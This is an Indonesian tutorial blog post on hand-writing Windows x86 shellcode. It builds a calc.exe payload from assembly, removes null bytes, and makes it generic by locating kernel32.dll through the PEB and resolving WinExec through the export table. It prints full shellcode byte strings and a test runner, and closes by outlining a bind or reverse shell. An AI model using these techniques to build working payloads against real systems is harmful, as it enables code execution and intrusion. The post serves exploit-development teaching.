Setelah bermain-main dengan buffer overflow beberapa minggu lalu, kita sudah melihat bagaimana sebuah fungsi yang mengalami buffer overflow dapat dimanfaatkan untuk mengambil alih aliran aplikasi dan diarahkan ke kode-kode yang kita tentukan sendiri. Kode-kode yang disebut shellcode ini merupakan rangkaian bahasa rakitan dalam bentuk heksadesimal, yang berinteraksi langsung dengan komputer untuk mengeksekusi perintah-perintah sistem operasi. Dari kemarin, shellcode yang kita gunakan adalah shellcode bind shell yang membuka port 4444 pada target yang berhasil dieksploitasi. Dulu saya selalu bertanya-tanya, apa yang sebenarnya dilakukan oleh shellcode? Saya juga pernah melihat subbagian shellcode di Exploit-DB (sampai sekarang masih ada), beberapa peretas menaruh shellcode-nya disana dan tentu saja kita bisa memakai shellcode–shellcode tersebut. Namun apakah semua shellcode aman untuk digunakan? Bagaimana kita tahu bahwa shellcode tersebut benar-benar mengeksekusi perintah sistem operasi yang ditentukan? Tentu saja tidak ada yang dapat memastikan hal tersebut selain kita sendiri, yaitu dengan cara mengujinya. Tulisan ini akan berusaha menjelaskan apa yang sebenarnya terjadi ketika sebuah shellcode dieksekusi, yang pada akhirnya memberikan gambaran bahwa kita dapat membuat shellcode sendiri. Lingkup pembahasan pada tulisan ini hanya mencakup pembuatan shellcode yang umum digunakan.
Peralatan yang diperlukan untuk mengikuti pembuatan shellcode dalam tulisan ini:
- Dev C++ (https://sourceforge.net/projects/orwelldevcpp/)
- arwin.c dan shellcodetest.c (pinjam dari vividmachines.com — Steve Hanna)
- Nasm (https://www.nasm.us/)
- Kali Linux atau Ubuntu WSL (Windows Subsystem for Linux)
- OllyDbg
- Windows Debugger
Bedanya Windows dan Linux shellcode
Tidak seperti pada sistem Linux dimana kita dapat berinteraksi dengan kernel melalui int 0x80 atau syscalls (system calls), kita tidak dapat berinteraksi langsung dengan kernel pada sistem Windows. Untuk dapat berkomunikasi dengan instruksi pada sistem (system calls), kita harus menggunakan fungsi-fungsi yang direferensikan melalui sebuah alamat pada sebuah Dynamic Link Library atau yang biasa kita kenal dengan sebutan DLL. Alamat dari fungsi-fungsi ini akan sangat bervariasi antar versi Windows, sementara pada sistem Linux, syscall numbers akan selalu sama. Hal inilah yang menyebabkan pembuatan shellcode pada sistem Windows sedikit lebih rumit karena apabila kita membuat sebuah shellcode pada sistem Windows XP SP3, maka shellcode tersebut tidak akan dapat berjalan pada sistem Windows 7. Ketidakandalan ini yang akhirnya memaksa beberapa peneliti kreatif menghasilkan teknik-teknik yang membuat shellcode menjadi generik dan dapat berjalan di semua versi Windows. Teknik-teknik tersebut seperti:
- Mencari otomatis alamat dasar (base address) sebuah modul, misal mencari secara otomatis alamat dasar modul
kernel32.dll
agar kita dapat mengetahui persis alamat fungsiWinExec
yang memang ada di modul tersebut. Sebagai contoh, cara sederhananya adalah dengan melakukan kalkulasi base address+offset ke fungsiWinExec
. - Melakukan resolve symbols dengan cara memanggil export directory table sebuah PE image, tujuannya agar fungsi tersebut dapat kita panggil melalui shellcode secara relatif.
- Menggunakan hash untuk mencari fungsi pada sebuah modul agar dapat langsung direferensikan alamatnya.
Calc shellcode, kenapa?
Beberapa eksploit di Exploit-DB menggunakan shellcode yang mengeksekusi program kalkulator sebagai pembuktian sebuah eksploit (proof of concept exploit) karena program kalkulator memiliki nama calc.exe, yang pada lingkungan Windows dapat dipersingkat dengan hanya memanggil calc. Karena dapat dipanggil dengan nama yang singkat (calc hanya mengandung 4 karakter), penggunaan byte pada shellcode jadi sedikit. Selain itu, mengeksekusi program kalkulator (calc.exe) bersamaan dengan program yang sedang berjalan (dengan memanfaatkan kerentanan) sekaligus membuktikan sebuah teori remote command execution.
Calc shellcode sebenarnya hanya memanggil fungsi WinExec dan ExitProcess pada Windows. Shellcode akan berusaha memenuhi parameter fungsi yang dibutuhkan, lalu memanggil fungsi-fungsi tersebut. Karena sederhana, shellcode yang dihasilkan biasanya juga tidak besar. Ukurannya dari yang paling kecil (statik) 16 byte sampai yang sudah dinamik dan generik sekitar 100-190 byte. Karena alasan inilah kenapa calc shellcode sering dipakai sebagai proof of concept untuk pembuktian command execution pada sebuah eksploitasi kerentanan.
Kita akan coba membuat shellcode sederhana yang akan mengeksekusi perintah sistem operasi pada sistem Windows 10 Enterprise Evaluation (version 2004, build 19041.388). Untuk membuat shellcode ini, kita perlu mengetahui alamat dari fungsi WinExec
dan ExitProcess
, kedua fungsi ini ada di modul kernel32.dll. Kita juga dapat melihat parameter yang dibutuhkan oleh WinExec
dan ExitProcess
sebagai berikut:
WinExec (https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec)
UINT WinExec( LPCSTR lpCmdLine, UINT uCmdShow );
ExitProcess (https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-exitprocess)
void ExitProcess( UINT uExitCode );
Untuk mencari kedua alamat fungsi tersebut, kita bisa meminjam skrip arwin.c
berikut:
#include <windows.h>
#include <stdio.h>
/***************************************
arwin - win32 address resolution program
by steve hanna v.01
vividmachines.com
[email protected]
you are free to modify this code
but please attribute me if you
change the code. bugfixes & additions
are welcome please email me!
to compile:
you will need a win32 compiler with
the win32 SDK
this program finds the absolute address
of a function in a specified DLL.
happy shellcoding!
***************************************/
int main(int argc, char** argv)
{
HMODULE hmod_libname;
FARPROC fprc_func;
printf("arwin - win32 address resolution program - by steve hanna - v.01\n");
if(argc < 3)
{
printf("%s <Library Name> <Function Name>\n",argv[0]);
exit(-1);
}
hmod_libname = LoadLibrary(argv[1]);
if(hmod_libname == NULL)
{
printf("Error: could not load library!\n");
exit(-1);
}
fprc_func = GetProcAddress(hmod_libname,argv[2]);
if(fprc_func == NULL)
{
printf("Error: could find the function in the library!\n");
exit(-1);
}
printf("%s is located at 0x%08x in %s\n",argv[2],(unsigned int)fprc_func,argv[1]);
}
Saya kompilasi skrip di atas menggunakan Dev-C++ versi 5.11, lalu saya jalankan untuk mencari alamat kedua fungsi di atas.
Setelah mengetahui kedua alamat fungsi tersebut, kita bisa segera menuliskan kode bahasa rakitan (asm) seperti berikut (sebagian besar saya pinjam dari projectshellcode.com tutorial 3: Windows Command Execution Shellcode):
;calc.asm ;credit: Tyron Miller (@tyronmiller) [Section .text] BITS 32 global _start _start: jmp short GetCommand ;lompat ke string perintah calc CommandReturn: ;membuat label agar string calc ditaruh di stack pop ebx ;string calc akan ada di ebxxor eax,eax ;mengosongkan eax
push eax ;menaruh nilai kosong ke stack untuk parameter WinExec
push ebx ;menaruh string calc ke stack
mov ebx,0x757dcd60 ;menaruh alamat fungsi WinExec ke ebx
call ebx ;panggil fungsi WinExec di ebx
xor eax,eax ;mengosongkan eax setelah dipakai oleh fungsi WinExec
push eax ;menaruh nilai kosong ke stack untuk parameter
ExitProcessmov ebx, 0x757a4060 ;menaruh alamat fungsi ExitProcess ke ebx
call ebx ;panggil fungsi ExitProcess(0);
GetCommand: ;membuat label untuk lokasi dari of string calc call CommandReturn ;memanggil label agar lokasi dari string di taruh ke stack db "calc" ;string calc.exe. db 0x00 ;akhir dari string yaitu karakter null.
Simpan skrip bahasa rakitan di atas dengan nama calc.asm
, lalu kompilasi menggunakan NASM.
PS C:\Users\User\Desktop\shellcode-build\asm> nasm.exe -f bin -o calc.bin .\calc.asm
Untuk mengeluarkan kode mesin pada calc.bin
kita dapat memanfaatkan Kali Linux atau Ubuntu WSL (Windows Subsystem for Linux). Saya akan menggunakan Ubuntu WSL yang dapat dengan mudah dipasang pada sistem Windows 10. Berikut ini adalah skrip Bash yang dapat digunakan untuk mengeluarkan kode mesin shellcode dalam bentuk heksa (saya juga meminjamnya dari projectshellcode.com):
#!/bin/bash
#credit: Tyron Miller (@tyronmiller)
if [ $# -ne 1 ]
then
printf "\n\tUsage: $0 filename.bin\n\n"
exit
fi;ebx now points to the string
filename=`echo $1 | sed s/"\.bin$"//`
rm -f $filename.shellcode
for i in `xxd -i $filename.bin | grep , | sed s/" "/" "/ | sed s/","/""/g | sed s/"0x"/"\\\\x"/g`
do
echo -n "\\$i" >> $filename.shellcode
echo -n "\\$i"
done
echo
Cara menggunakannya yaitu dengan menjalankan skrip Bash di atas pada Ubuntu WSL seperti berikut:
Atau kita juga dapat menjalankan command line seperti berikut:
$ hexdump -v -e '"\\x" 1/1 "%02x"' asm/calc.bin
atau$ xxd -p asm/calc.bin | tr -d '\n' | sed 's/(..)/\x\1/g'
Hasil shellcode tersebut akan kita kompilasi lagi dengan skrip shellcodetest.c
untuk memastikan apakah shellcode yang kita buat berjalan.
/*shellcodetest.c
credit: steve hanna - vividmachines.com
*/
char code[] = "\xeb\x16\x5b\x31\xc0\x50\x53\xbb\x60\xcd\x7d\x75\xff\xd3\x31\xc0\x50\xbb\x60\x40\x7a\x75\xff\xd3\xe8\xe5\xff\xff\xff\x63\x61\x6c\x63\x00";
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}
Setelah dikompilasi (saya menggunakan Dev-C++ 5.11) lalu dijalankan dengan command prompt, program kalkulator (calc.exe) seharusnya akan muncul.
Sampai saat ini kita telah membuat shellcode sendiri yang mengeksekusi program kalkulator (calc.exe) pada sistem Windows 10. Apabila kita susun per 8 byte baris, maka shellcode tersebut berukuran 34 bytes dan dapat kita lihat sebagai berikut:
shellcode = "" shellcode += "\xeb\x16\x5b\x31\xc0\x50\x53\xbb" shellcode += "\x60\xcd\x7d\x75\xff\xd3\x31\xc0" shellcode += "\x50\xbb\x60\x40\x7a\x75\xff\xd3" shellcode += "\xe8\xe5\xff\xff\xff\x63\x61\x6c" shellcode += "\x63\x00"
Jika kita perhatikan, terdapat karakter “\x00” yang merupakan karakter null. Null byte dibutuhkan untuk mengakhiri string (dalam hal ini string calc). Seperti yang sudah kita ketahui bahwa karakter null berpotensi ditolak (bad characters) oleh program. Apabila shellcode di atas kita gunakan sebagai shellcode sebagai proof of concept eksploit, besar kemungkinan shellcode di atas tidak berjalan dengan baik.
Menyiasati null byte pada shellcode
Sebelumnya kita sudah mengetahui cara menghilangkan null byte dengan menggunakan msfvenom
namun pada tulisan kali ini, kita akan coba menghilangkan null byte dengan mengganti beberapa instruksi sebelumnya dengan deretan instruksi baru sebagai berikut:
push 0x636c6163 ;mendorong nilai 636c6163 yang merupakan string calc dalam bentuk heksa ke stack pop ebx ;menyimpannya di ebx xor eax,eax ;mengosongkan nilai eax push eax ;dorong nilai null ke stack pengganti null byte sebelumnya push ebx ;dorong string calc ke stack mov ebx,esp ;menyimpan string calc
Jika digabungkan, maka akan seperti ini:
;calc2.asm [Section .text] BITS 32 global _start _start: push 0x636c6163 ;mendorong nilai 636c6163 yang merupakan string calc dalam bentuk heksa ke stack pop ebx ;menyimpannya di ebx xor eax,eax ;mengosongkan nilai eax push eax ;dorong nilai null ke stack pengganti null byte sebelumnya push ebx ;dorong string calc ke stack mov ebx,esp ;menyimpan string calcpush eax ;menaruh nilai kosong ke stack untuk parameter WinExec
push ebx ;menaruh string calc ke stack
untuk parameter WinExecmov ebx,0x76bccd60 ;menaruh alamat fungsi WinExec ke ebx
call ebx ;panggil fungsi WinExec di ebx
xor eax,eax ;mengosongkan eax setelah dipakai oleh fungsi WinExec
push eax ;menaruh nilai kosong ke stack untuk parameter
ExitProcessmov ebx,0x76b94060 ;menaruh alamat fungsi ExitProcess ke ebx
call ebx ;panggil fungsi ExitProcess(0);
Setelah kita kompilasi dengan nasm dan mengeluarkan kode mesin yang menjadi shellcode, hasilnya seperti ini:
shellcode = "" shellcode += "\x68\x63\x61\x6c\x63\x5b\x31\xc0" shellcode += "\x50\x53\x89\xe3\x50\x53\xbb\x60" shellcode += "\xcd\xbc\x76\xff\xd3\x31\xc0\x50" shellcode += "\xbb\x60\x40\xb9\x76\xff\xd3"
Total shellcode adalah 31 bytes. Jika diperhatikan, apa yang saya lakukan di atas hanya akal-akalan yang tidak kreatif yaitu mengakali null byte dengan cara mengganti penulisan byte yang sebelumnya direferensikan dengan label GetCommand
dan diikuti oleh instruksi call CommandReturn
, db "calc"
lalu db 0x00
dengan instruksi pengganti sebagai berikut:
push 0x636c6163 ;mendorong nilai 636c6163 yang merupakan string calc dalam bentuk heksa ke stack pop ebx ;menyimpannya di ebx xor eax,eax ;mengosongkan nilai eax push eax ;dorong nilai null ke memori stack pengganti null byte sebelumnya push ebx ;dorong string calc ke memori stack mov ebx,esp ;menyimpan string calc
Instruksi push 0x636c6163
mendorong string calc ke memori stack lalu menyimpannya di register ebx (instruksi pop ebx
). Setelah itu instruksi xor eax,eax
dan push eax
mengosongkan nilai pada register eax dan mendorongnya ke memori stack. Instruksi berikutnya push ebx
dan mov ebx, esp
akan mendorong string calc yang sudah ada di register ebx ke memori stack, lalu memindahkan alamat memori stack teratas yang ditunjuk oleh register esp ke register ebx. Dengan begitu, alamat memori yang menunjuk ke string calc akan dipegang oleh register ebx. Instruksi selanjutnya sama dengan sebelumnya sebagai berikut:
push eax ;menaruh nilai kosong ke stack untuk parameter WinExec
push ebx ;menaruh string calc ke stack
untuk parameter WinExecmov ebx,0x76bccd60 ;menaruh alamat fungsi WinExec ke ebx
call ebx ;panggil fungsi WinExec di ebx
Instruksi push eax
menaruh nilai kosong ke stack untuk parameter WinExec
yang membutuhkan parameter CmdShow
. Instruksi berikutnya push ebx
dan mov ebx, 0x76bccd60
menaruh string calc ke memori stack untuk mengisi parameter kedua yaitu CmdLine
, berikutnya register ebx ditimpa dengan alamat fungsi WinExec
di kernel32.dll
yang ada di 0x76bccd60
(alamat ini bisa berbeda-beda setiap versi Windows, ditambah lagi dapat berubah-ubah ketika sistem operasi dimuat ulang karena adanya ASLR). Instruksi call ebx akan memanggil fungsi tersebut. Hasilnya sama seperti sebelumnya, program kalkulator akan tereksekusi.
Membuat shellcode yang generik (umum)
Pada tulisan di atas, shellcode yang kita tulis merupakan shellcode spesifik yang hanya berjalan di Windows 10 Enterprise Evaluation (version 2004, build 19041.388). Lalu bagaimana kita membuatnya untuk dapat berjalan pada versi Windows lain (Windows 7, 8, 8.1, 10)? Jika kita perhatikan, ada beberapa hal yang memaksa kondisi shellcode di atas menjadi kondisi yang spesifik:
- Alamat
kernel32.dll
yang berubah-ubah karena versi Windows, dalam hal ini khusus Windows 10 Enterprise Evaluation (version 2004, build 19041.388) - Alamat
kernel32.dll
yang berubah-ubah saat dimuat ulang karena ASLR - Karena alamat
kernel32.dll
berubah-ubah, kita tidak dapat mengetahui alamat ke fungsiWinExec
danExitProcess
dengan pasti
Dengan mengetahui kondisi di atas, yang perlu diatasi yaitu bagaimana mengetahui alamat kernel32.dll
setiap versi Windows sehingga kita selalu dapat “mengambil” (resolve) fungsi WinExec
dan ExitProcess
yang ada di kernel32.dll
setiap versi Windows dan mereferensikannya di shellcode. Jika diringkas, untuk membuat shellcode yang generic perlu melakukan hal berikut:
- Mencari alamat dasar (base address) dari modul
kernel32.dll
- Mencari alamat ke fungsi
WinExec
danExitProcess
- Menaruh argument/parameter yang dibutuhkan dan memanggil fungsi
WinExec
- Menaruh argument/parameter yang dibutuhkan dan memanggil fungsi
ExitProcess
Mencari alamat dasar modul kernel32.dll
Ada beberapa teknik yang dapat digunakan untuk mencari alamat dasar dari kernel32.dll diantaranya:
- Melihat di PEB melalui posisi ketiga dari parameter
InMemoryOrderModuleList
yang selalu diisi oleh alamat dasarkernel32.dll
- Melihat di TEB lalu melakukan loop dan mencari string MZ (
0x5a4d
), karenakernel32.dll
merupakan executable yang mengandung header MZ.
Pada tulisan kali ini, saya akan menggunakan teknik pada poin pertama yaitu mencari alamat dasar kernel32.dll
melalui PEB. Tehnik ini didasari pengetahuan bahwa salah satu anggota PEB yang bernama Ldr
menyimpan penunjuk ke strukturPEB_LDR_DATA
yang menyimpan informasi modul-modul yang dimuat pada proses tersebut. Struktur dari PEB_LDR_DATA
dapat kita lihat sebagai berikut:
typedef struct _PEB_LDR_DATA { BYTE Reserved1[8]; PVOID Reserved2[3]; LIST_ENTRY InMemoryOrderModuleList; } PEB_LDR_DATA, *PPEB_LDR_DATA;
Seperti yang kita lihat di struktur di atas, terdapat anggota yang bernamaInMemoryOrderModuleList
. Bagian ini mengandung awalan dari daftar double linked-list (Flink
dan Blink
) yang berisi referensi alamat modul-modul pada proses tersebut.
typedef struct _LIST_ENTRY { struct _LIST_ENTRY *Flink; struct _LIST_ENTRY *Blink; } LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;
Setiap isi dalam daftar tersebut adalah penunjuk ke struktur LDR_DATA_TABLE_ENTRY
yang memiliki struktur sebagai berikut:
typedef struct _LDR_DATA_TABLE_ENTRY { PVOID Reserved1[2]; LIST_ENTRY InMemoryOrderLinks; PVOID Reserved2[2]; PVOID DllBase; PVOID EntryPoint; PVOID Reserved3; UNICODE_STRING FullDllName; BYTE Reserved4[8]; PVOID Reserved5[3]; union { ULONG CheckSum; PVOID Reserved6; }; ULONG TimeDateStamp; } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
DllBase
pada struktur di ataslah yang akan memegang alamat dasar dari kernel32.dll
. Namun untuk mengambil alamat tersebut, kita perlu melakukan kalkulasi yang tepat agar mendapatkan alamat kernel32.dll
yang sesuai. Teori di atas dapat kita uji dengan cara menjalankan file shellcodetest.exe
menggunakan WinDbg.
Untuk mengambil alamat dasar kernel32.dll, kita bisa mengambil nilai PEB lalu menaruhnya di salah satu register, misalkan register EBX. Pertama-tama kita bisa mengosongkan nilai EBX dengan instruksi xor ebx,ebx
. Alamat PEB berada di fs:[0+0x30]
, kita bisa menggunakan instruksi mov ebx, [fs:ebx+0x30]
untuk mengambil nilai PEB dan menaruhnya di EBX. Selanjutnya kita dapat mengeksekusi instruksi mov ebx, [ebx+0xC]
untuk mengeluarkan informasi dari Ldr
(penunjuk ke _LDR_DATA
). Kita bisa melihatnya lebih detail dengan mengeksekusi perintah dt _PEB
melalui WinDbg:
Setelah mendapatkan penunjuk ke Ldr
, posisi daftar InMemoryOrderModuleList
terdapat pada _PEB_LDR_DATA + 0x14
. Dapat kita lihat pula bahwa pada posisi _PEB_LDR_DATA + 0x1c
terdapat daftar lain yaitu InInitializationOrderModuleList
yang rupanya mengandung double linked-list yang juga berdekatan dengan posisi alamat dasar kernel32.dll.
Karena kedua daftar tersebut dapat dimanfaatkan untuk mengekstrak alamat dasar kernel32.dll
, saya akan pilih salah satu yaitu InMemoryOrderModuleList
. Untuk mengekstraknya, kita tinggal mengeksekusi instruksimov ebx, [ebx+0x14]
yang mengekstrak nilai _PEB_LDR_DATA +0x14
yang merupakan pointer dari Ldr.InMemoryOrderModuleList
. Nilai pada alamat ini jika direferensikan maka akan mengeluarkan nilai Flink dan Blink yang mengarah ke alamat dasar dari kernel32.dll
.
Seperti bisa terlihat pada cuplikan layar di atas, alamat dasar kernel32.dll
ada di 0x76b70000
(pada mesin saya), posisi ini ditunjuk oleh _LIST_ENTRY.Flink-0x08
. Kita juga bisa lihat bahwa DllBase
ada di offset _LDR_DATA_TABLE_ENTRY+0x18
. Jika kita terjemahkan maka akan menjadi 0x00693d70-0x08+0x18
yang jika dipersingkat melalui perintah WinDbg menjadi:
0:000> dd poi(poi(poi(poi(@$peb+0xc)+0x14)))+0x10 L1 00693d80 76b70000
Jika kita buat dalam bahasa rakitan maka menjadi seperti ini:
; Find kernel32.dll base address
; different approach using InMemoryOrderModuleList
; credit to Bobby Cooke (boku)
; https://www.exploit-db.com/shellcodes/48116
xor ebx, ebx ; EBX = 0x00000000
mov ebx, [fs:ebx+0x30] ; EBX = Address_of_PEB
mov ebx, [ebx+0xC] ; EBX = Address_of_LDR
mov ebx, [ebx+0x14] ; EBX = 1st entry in InMemoryOrderModuleList / ntdll.dll
mov ebx, [ebx] ; EBX = 2nd entry in Flink / kernelbase.dll
mov ebx, [ebx] ; EBX = 3rd entry in Flink / kernel32.dll
mov eax, [ebx+0x10] ; EAX = &kernel32.dll / Address of kernel32.dll
mov [ebp-0x4], eax ; [EBP-0x04] = &kernel32.dll
Skrip di atas yang saya pinjam dari Exploit-DB (https://www.exploit-db.com/shellcodes/48116) dengan sedikit perubahan, akan menyimpan alamat dasar kernel32.dll
ke register EAX. Setelah kita mendapatkan alamat dasar dari kernel32.dll
, kita bisa pakai nilai ini untuk melakukan pencarian (resolve) fungsi WinExec
dan ExitProcess
secara dinamik yang berarti alamat tersebut dapat selalu ditemukan walaupun alamat dasar kernel32.dll
berubah.
Mencari alamat ke fungsi WinExec dan ExitProcess
Tehnik umum yang digunakan untuk mencari alamat dari fungsi WinExec
dan ExitProcess
adalah dengan melakukan pencarian di Export Directory Table yang memang terdapat pada setiap PE (portable executable) image.
Teknik ini akan melakukan pencarian fungsi yang kita inginkan, dalam hal ini WinExec
dan ExitProcess
, dengan cara loop di dalam Export Table. Jika disederhanakan, teknik ini akan:
- Mencari alamat Export Table dengan cara mengkalkulasi offset dari PE Header ditambah dengan
0x78
. Hasil kalkulasi akan mengeluarkan RVA (Relative Virtual Address) dari Export Table. - Mencari RVA dari Name Pointer Table dengan cara menjumlahkan RVA Export Table dengan
0x20
. Nilai dari kalkulasi ini akan disimpan ke memori stack sebagai referensi. - Mencari RVA dari Ordinal Table dengan cara menjumlahkan RVA Export Table dengan
0x24
. Nilai dari kalkulasi ini akan disimpan ke memori stack sebagai referensi. - Mencari RVA dari Address Table dengan cara menjumlahkan RVA Export Table dengan
0x1c
. Nilai dari kalkulasi ini akan disimpan ke memori stack sebagai referensi. - Mencari jumlah Exported Functions yang terdapat pada modul
kernel32.dll
, hal ini ditujukan untuk mengetahui berapa fungsi yang diperlukan untuk loop selama pencarian fungsi WinExec dan ExitProcess. Untuk mencarinya tinggal menjumlahkan hasil RVA Export Table dengan0x14
. Nilai dari kalkulasi ini akan disimpan ke stack sebagai referensi - Setelah nilai dari Export Table berhasil disimpan sebagai referensi, langkah selanjutnya adalah dengan mendorong string
WinExec
danExitProcess
ke memori stack dan mencarinya dengan loop. - Proses loop ini akan mencari string
WinExec
danExitProcess
dengan cara membandingkan nilai string yang ingin ditemukan (WinExec
danExitProcess
) di dalam lingkup jumlah Exported Functions yang ada. Jika masih dalam jumlah lingkup Exported Functions, maka pencarian akan terus berlanjut. Pencarian akan berhenti apabila proses loop menemukan awal dari stringWinExec
danExitProcess
di dalam salah satu register (8 bytes pertama). - Setelah alamat dari fungsi WinExec ditemukan, maka proses selanjutnya adalah mendorong string calc.exe ke memori stack dan memanggil alamat fungsi WinExec yang sudah ditemukan sebelumnya.
- Untuk fungsi
ExitProcess
, sama sepertiWinExec
, tinggal mendorong nilai null sebagai parameter yang dibutuhkan olehExitProcess
untuk mematikan proses tersebut.
Jika dalam bentuk bahasa rakitan, maka proses di atas akan menjadi seperti ini (saya masih meminjam dari https://www.exploit-db.com/shellcodes/48116):
; Find the address of the WinExec Symbol within kernel32.dll
; + The hex values will change with different versions of Windows
; Find the address of the Export Table within kernel32.dll
mov ebx, [eax+0x3C] ; EBX = Offset NewEXEHeader = 0xF8
add ebx, eax ; EBX = &NewEXEHeader = 0xF8 + &kernel32.dll
mov ebx, [ebx+0x78] ; EBX = RVA ExportTable = 0x777B0 = [&NewExeHeader + 0x78]
add ebx, eax ; EBX = &ExportTable = RVA ExportTable + &kernel32.dll
; Find the address of the Name Pointer Table within kernel32.dll
; + Contains pointers to strings of function names - 4-byte/dword entries
mov edi, [ebx+0x20] ; EDI = RVA NamePointerTable = 0x790E0
add edi, eax ; EDI = &NamePointerTable = 0x790E0 + &kernel32.dll
mov [ebp-0x8], edi ; save &NamePointerTable to stack frame
; Find the address of the Ordinal Table
; - 2-byte/word entries
mov ecx, [ebx+0x24] ; ECX = RVA OrdinalTable = 0x7A9E8
add ecx, eax ; ECX = &OrdinalTable = 0x7A9E8 + &kernel32.dll
mov [ebp-0xC], ecx ; save &OrdinalTable to stack-frame
; Find the address of the Address Table
mov edx, [ebx+0x1C] ; EDX = RVA AddressTable = 0x777CC
add edx, eax ; EDX = &AddressTable = 0x777CC + &kernel32.dll
mov [ebp-0x10], edx ; save &AddressTable to stack-frame
; Find Number of Functions within the Export Table of kernel32.dll
mov edx, [ebx+0x14] ; EDX = Number of Functions = 0x642
mov [ebp-0x14], edx ; save value of Number of Functions to stack-frame
jmp short functions
findFunctionAddr:
; Initialize the Counter to prevent infinite loop
xor eax, eax ; EAX = Counter = 0
mov edx, [ebp-0x14] ; get value of Number of Functions from stack-frame
; Loop through the NamePointerTable and compare our Strings to the Name Strings of kernel32.dll
searchLoop:
mov edi, [ebp-0x8] ; EDI = &NamePointerTable
mov esi, [ebp+0x18] ; ESI = Address of String for the Symbol we are searching for
xor ecx, ecx ; ECX = 0x00000000
cld ; clear direction flag - Process strings from left to right
mov edi, [edi+eax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
add edi, [ebp-0x4] ; EDI = &NameString = RVA NameString + &kernel32.dll
add cx, 0x8 ; ECX = len("WinExec,0x00") = 8 = 7 char + 1 Null
repe cmpsb ; compare first 8 bytes of [&NameString] to "WinExec,0x00"
jz found ; If string at [&NameString] == "WinExec,0x00", then end loop
inc eax ; else Counter ++
cmp eax, edx ; Does EAX == Number of Functions?
jb searchLoop ; If EAX != Number of Functions, then restart the loop
found:
; Find the address of WinExec by using the last value of the Counter
mov ecx, [ebp-0xC] ; ECX = &OrdinalTable
mov edx, [ebp-0x10] ; EDX = &AddressTable
mov ax, [ecx + eax*2] ; AX = ordinalNumber = [&OrdinalTable + (Counter*2)]
mov eax, [edx + eax*4] ; EAX = RVA WinExec = [&AddressTable + ordinalNumber]
add eax, [ebp-0x4] ; EAX = &WinExec = RVA WinExec + &kernel32.dll
ret
functions:
; Create string 'WinExec\x00' on the stack and save its address to the stack-frame
mov edx, 0x63657878 ; "cexx"
shr edx, 8 ; Shifts edx register to the right 8 bits
push edx ; "\x00,cex"
push 0x456E6957 ; EniW : 456E6957
mov [ebp+0x18], esp ; save address of string 'WinExec\x00' to the stack-frame
call findFunctionAddr ; After Return EAX will = &WinExec
; Call WinExec( CmdLine, ShowState );
; CmdLine = "calc.exe"
; ShowState = 0x00000001 = SW_SHOWNORMAL - displays a window
xor ecx, ecx ; clear eax register
push ecx ; string terminator 0x00 for "calc.exe" string
push 0x6578652e ; exe. : 6578652e
push 0x636c6163 ; clac : 636c6163
mov ebx, esp ; save pointer to "calc.exe" string in eax
inc ecx ; uCmdShow SW_SHOWNORMAL = 0x00000001
push ecx ; uCmdShow - push 0x1 to stack # 2nd argument
push ebx ; lpcmdLine - push string address stack # 1st argument
call eax ; Call the WinExec Function
; Create string 'ExitProcess\x00' on the stack and save its address to the stack-frame
xor ecx, ecx ; clear eax register
mov ecx, 0x73736501 ; 73736501 = "sse",0x01 // "ExitProcess",0x0000 string
shr ecx, 8 ; ecx = "ess",0x00 // shr shifts the register right 8 bits
push ecx ; sse : 00737365
push 0x636F7250 ; corP : 636F7250
push 0x74697845 ; tixE : 74697845
mov [ebp+0x18], esp ; save address of string 'ExitProcess\x00' to stack-frame
call findFunctionAddr ; After Return EAX will = &ExitProcess
; Call ExitProcess(ExitCode)
xor edx, edx
push edx ; ExitCode = 0
call eax ; ExitProcess(ExitCode)
Jika digabungkan maka seperti yang kita lihat pada tautan Exploit-DB di https://www.exploit-db.com/shellcodes/48116. Penulis shellcode, Bobby Cooke, mendokumentasikan pembuatan shellcode nya dengan sangat baik sehingga memberikan gambaran apa yang dilakukan bahasa rakitan di atas. Jika dieksekusi, maka hasilnya akan sama dengan shellcode yang kita buat sebelumnya.
PS C:\Users\User\Desktop\shellcode-build\asm> nasm.exe -f bin -o generic-calc.bin .\generic-calc.asm
tom@WinDev2007Eval:/mnt/c/Users/User/Desktop/shellcode-build$ xxd -p asm/generic-calc.bin | tr -d '\n' | sed 's/(..)/\x\1/g' \x89\xe5\x83\xec\x20\x31\xdb\x64\x8b\x5b\x30\x8b\x5b\x0c\x8b\x5b\x14\x8b\x1b\x8b\x1b\x8b\x43\x10\x89\x45\xfc\x8b\x58\x3c\x01\xc3\x8b\x5b\x78\x01\xc3\x8b\x7b\x20\x01\xc7\x89\x7d\xf8\x8b\x4b\x24\x01\xc1\x89\x4d\xf4\x8b\x53\x1c\x01\xc2\x89\x55\xf0\x8b\x53\x14\x89\x55\xec\xeb\x32\x31\xc0\x8b\x55\xec\x8b\x7d\xf8\x8b\x75\x18\x31\xc9\xfc\x8b\x3c\x87\x03\x7d\xfc\x66\x83\xc1\x08\xf3\xa6\x74\x05\x40\x39\xd0\x72\xe4\x8b\x4d\xf4\x8b\x55\xf0\x66\x8b\x04\x41\x8b\x04\x82\x03\x45\xfc\xc3\xba\x78\x78\x65\x63\xc1\xea\x08\x52\x68\x57\x69\x6e\x45\x89\x65\x18\xe8\xb8\xff\xff\xff\x31\xc9\x51\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x89\xe3\x41\x51\x53\xff\xd0\x31\xc9\xb9\x01\x65\x73\x73\xc1\xe9\x08\x51\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x89\x65\x18\xe8\x87\xff\xff\xff\x31\xd2\x52\xff\xd0 tom@WinDev2007Eval:/mnt/c/Users/User/Desktop/shellcode-build$
Shellcode Bind/Reverse
Lalu bagaimana dengan shellcode reverse shell maupun bind shell? Pada dasarnya proses awalnya akan sama, yaitu mencari alamat dasar dari modul yang fungsinya akan dipanggil, lalu melakukan resolve alamat dari fungsi tersebut dan memanggilnya satu per satu. Pada shellcode bind shell misalkan, yang perlu dirangkai adalah:
- Mencari alamat dasar dari modul
ws2_32.dll
yang mengandung:closesocket()
accept()
listen()
bind()
connect()
WSASocketA()
WSAStartup()
WSAGetLastError()
- Mencari alamat dasar dari modul
kernel32.dll
yang mengandung:LoadLibraryA()
ExitProcess()
